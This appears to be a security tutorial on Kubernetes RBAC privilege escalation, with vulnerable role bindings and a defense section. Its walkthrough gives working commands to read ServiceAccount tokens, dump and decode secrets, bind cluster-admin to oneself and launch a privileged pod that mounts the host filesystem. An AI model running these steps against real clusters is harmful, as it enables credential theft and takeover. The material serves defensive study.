Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Kubernetes Role-Based Access Control (RBAC) governs every request that hits the API server: who can list pods, who can read secrets, who can create workloads, and who can modify RBAC itself. Because a cluster’s entire security model funnels through this one authorization layer, an overly permissive Role, ClusterRole, or binding is functionally equivalent to a bad IAM policy in a cloud account — a single misconfigured verb on a single resource type can turn a compromised pod or a low-privilege service account into full cluster administrator.
This matters more in Kubernetes than in most systems because workloads routinely run *with* a ServiceAccount token mounted into the pod by default. An attacker who achieves remote code execution inside any container — via a vulnerable app or a supply-chain compromise — inherits whatever RBAC permissions that pod’s ServiceAccount holds. If that ServiceAccount can create pods, read secrets, or bind roles it does not itself hold, the initial foothold escalates to control of the namespace or the entire cluster with no separate exploit required — it is a misconfiguration, not a bug in Kubernetes itself.
Attack Prerequisites
RBAC abuse requires the attacker to already hold some authenticated identity inside the cluster — typically a pod’s mounted ServiceAccount token — and for that identity’s bindings to grant more than the workload needs:
- Code execution in a pod, or possession of a
kubeconfig/service account token, that grants at least one API permission. - The bound
Role/ClusterRoleincludes dangerous verbs on dangerous resources:createonpods(especially with controllablespec.nodeName,hostPath, orprivileged: true),get/listonsecrets,createonpods/exec/pods/attach,impersonateonusers/groups/serviceaccounts,bind/escalateonroles/clusterroles, orcreate/patchonrolebindings. - Network reachability to the API server from the compromised context.
- For node-level escalation: the ability to schedule a pod with a privileged security context,
hostPID/hostNetwork, orhostPath.
How It Works
RBAC in Kubernetes is additive and namespace/cluster-scoped: a Role grants verbs (get, list, watch, create, update, patch, delete) on resources within one namespace, while a ClusterRole can do the same cluster-wide or be bound per-namespace via a RoleBinding. A RoleBinding or ClusterRoleBinding then attaches that role to a subject — a user, group, or ServiceAccount. The API server checks every request against these bindings; there is no further layer beneath it, so any verb granted is a verb usable.
Several specific verb/resource combinations are escalation primitives rather than ordinary access. pods/exec and pods/attach let a principal run commands inside any pod it can target, including pods with more privileged ServiceAccounts mounted — a lateral move that inherits a stronger identity. secrets get/list exposes ServiceAccount tokens, TLS keys, and application credentials, which are only base64-encoded, not encrypted by default. The impersonate verb on users/groups/serviceaccounts lets the holder send requests *as* another identity via Impersonate-User/Impersonate-Group headers. And create pods where the caller can also set spec.nodeName, hostPath volumes, or securityContext.privileged allows spawning a pod that mounts the node’s filesystem or runs as root with host access.
The escalate and bind verbs exist specifically to guard against privilege escalation through RBAC itself. Kubernetes normally refuses to let a principal grant permissions it does not already hold — but escalate on roles/clusterroles bypasses that check, and bind allows attaching *any* role, even ones with permissions the caller lacks, as long as the caller can reference it in a binding. A principal holding either verb broadly, plus create on rolebindings, can grant itself cluster-admin outright.
Vulnerable Code / Configuration
The canonical vulnerable RoleBinding grants a workload’s default ServiceAccount the built-in cluster-admin ClusterRole — a mistake that shows up constantly in “just get it working” deployments and Helm charts that were never revisited:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: default-sa-admin
subjects:
- kind: ServiceAccount
name: default
namespace: app-prod
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
# Every pod in app-prod that does NOT set a dedicated
# serviceAccountName inherits full cluster-admin.
YAMLA narrower, equally dangerous pattern is a custom ClusterRole granting secret reads and pod/exec cluster-wide:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: monitoring-agent
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "watch"] # reads every Secret
- apiGroups: [""]
resources: ["pods", "pods/exec"]
verbs: ["create", "get", "list"] # shell into any pod
# Intended for read-only metrics scraping, actually grants
# secret exfiltration and lateral movement cluster-wide.
YAMLThe third pattern is the escalation primitive itself — a role that can create bindings for cluster-admin even without holding those permissions directly, via bind:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: ci-role-manager
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings", "rolebindings"]
verbs: ["create", "patch"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterroles"]
verbs: ["bind"] # can bind ANY ClusterRole
# A CI ServiceAccount with this role can create a binding
# attaching itself (or any subject) to cluster-admin.
YAMLWalkthrough / Exploitation
From inside a compromised pod, the default ServiceAccount token and namespace are already mounted; use them to enumerate effective permissions before touching anything:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
kubectl --token="$TOKEN" auth can-i --list -n "$NS"
# Targeted checks for the dangerous verbs
kubectl auth can-i create pods
kubectl auth can-i get secrets -A
kubectl auth can-i create pods/exec
kubectl auth can-i escalate clusterroles
kubectl auth can-i bind clusterroles
kubectl auth can-i impersonate usersBashIf secret read access is available, harvest what’s in reach — often other ServiceAccount tokens with broader bindings:
kubectl get secrets -A -o json | \
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | .metadata.name'
kubectl get secret prod-admin-token -n kube-system -o json | \
jq -r '.data.token' | base64 -dBashIf pods/exec is reachable cluster-wide, pivot into a pod running under a more privileged ServiceAccount:
kubectl get pods -A -o wide | grep -v app-prod
kubectl exec -it -n kube-system some-controller-pod -- /bin/sh
# now holding whatever RBAC the controller's SA hasBashIf escalate/bind or unrestricted rolebindings create rights are available, grant cluster-admin directly to the current identity:
cat <<'EOF' | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: self-admin
subjects:
- kind: ServiceAccount
name: default
namespace: app-prod
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
EOF
kubectl auth can-i '*' '*' -A # confirm cluster-adminBashFor node compromise, create pods with a controllable pod spec allows scheduling a privileged pod that mounts the host filesystem:
apiVersion: v1
kind: Pod
metadata:
name: node-breakout
spec:
nodeName: victim-node-1 # pin to target node
hostPID: true
containers:
- name: shell
image: alpine
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: hostfs
mountPath: /host
volumes:
- name: hostfs
hostPath:
path: /
YAMLNote:
kubectl auth can-i --listonly reports what the RBAC layer permits — it does not account for admission controllers (Pod Security Admission, OPA/Gatekeeper, Kyverno) that may block a privileged pod spec even if RBAC allows creating it. Always test the actual object creation, not just the RBAC check.
Opsec:
pods/execandpods/attachare logged asconnectsub-resource requests in the Kubernetes audit log (verb: create,resource: pods,subresource: exec) — one of the highest-signal audit events in a cluster. Secret reads are logged per-object only if audit policy capturessecretsatRequestResponselevel; many clusters only logMetadata, which hides content but still shows access.
Detection and Defense
RBAC abuse is prevented by minimizing standing permissions and watching the audit log for the specific verbs that enable escalation:
- Disable auto-mounting of ServiceAccount tokens (
automountServiceAccountToken: false) on pods that never call the API server. - Never bind
cluster-adminto a namespace’sdefaultServiceAccount; create scoped, per-workload ServiceAccounts instead. - Restrict
escalate,bind, andimpersonateto a small set of trusted cluster-admin identities; auditClusterRoles for them. - Encrypt Secrets at rest (
EncryptionConfigurationwith a KMS provider) and prefer external secret managers for high-value credentials. - Enable and centralize Kubernetes audit logging at
RequestorRequestResponselevel forsecrets,pods/exec, androlebindings; alert on unexpectedcreate/patchof bindings. - Use tools like
kubiscan,rbac-tool, orkube-benchto continuously scan for risky RBAC rules and CIS Benchmark deviations. - Enforce Pod Security Admission (restricted profile) to block privileged pods,
hostPath, andhostPID/hostNetworkeven where RBAC would otherwise permit creating them.
Real-World Impact
Overly permissive default ServiceAccount bindings and secret-read roles are consistently among the top findings in Kubernetes security assessments, and multiple public incident writeups involving exposed dashboards and misconfigured kubelets trace initial container access directly into cluster-wide control through exactly this pattern: a workload compromise plus an over-broad RBAC binding equals cluster takeover without any additional software vulnerability. The CIS Kubernetes Benchmark and the Kubernetes Pod Security Standards both dedicate explicit guidance to this exact failure mode.
Conclusion
Kubernetes RBAC is only as strong as its least-audited binding. Because pod compromise automatically grants whatever a ServiceAccount can do, the practical defense is to treat every Role/ClusterRole as a blast-radius decision made in advance: scope verbs tightly, keep escalate/bind/impersonate rare and logged, never default to cluster-admin, and validate assumptions continuously with kubectl auth can-i and dedicated RBAC-auditing tooling rather than trusting that a binding written once is still appropriate.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments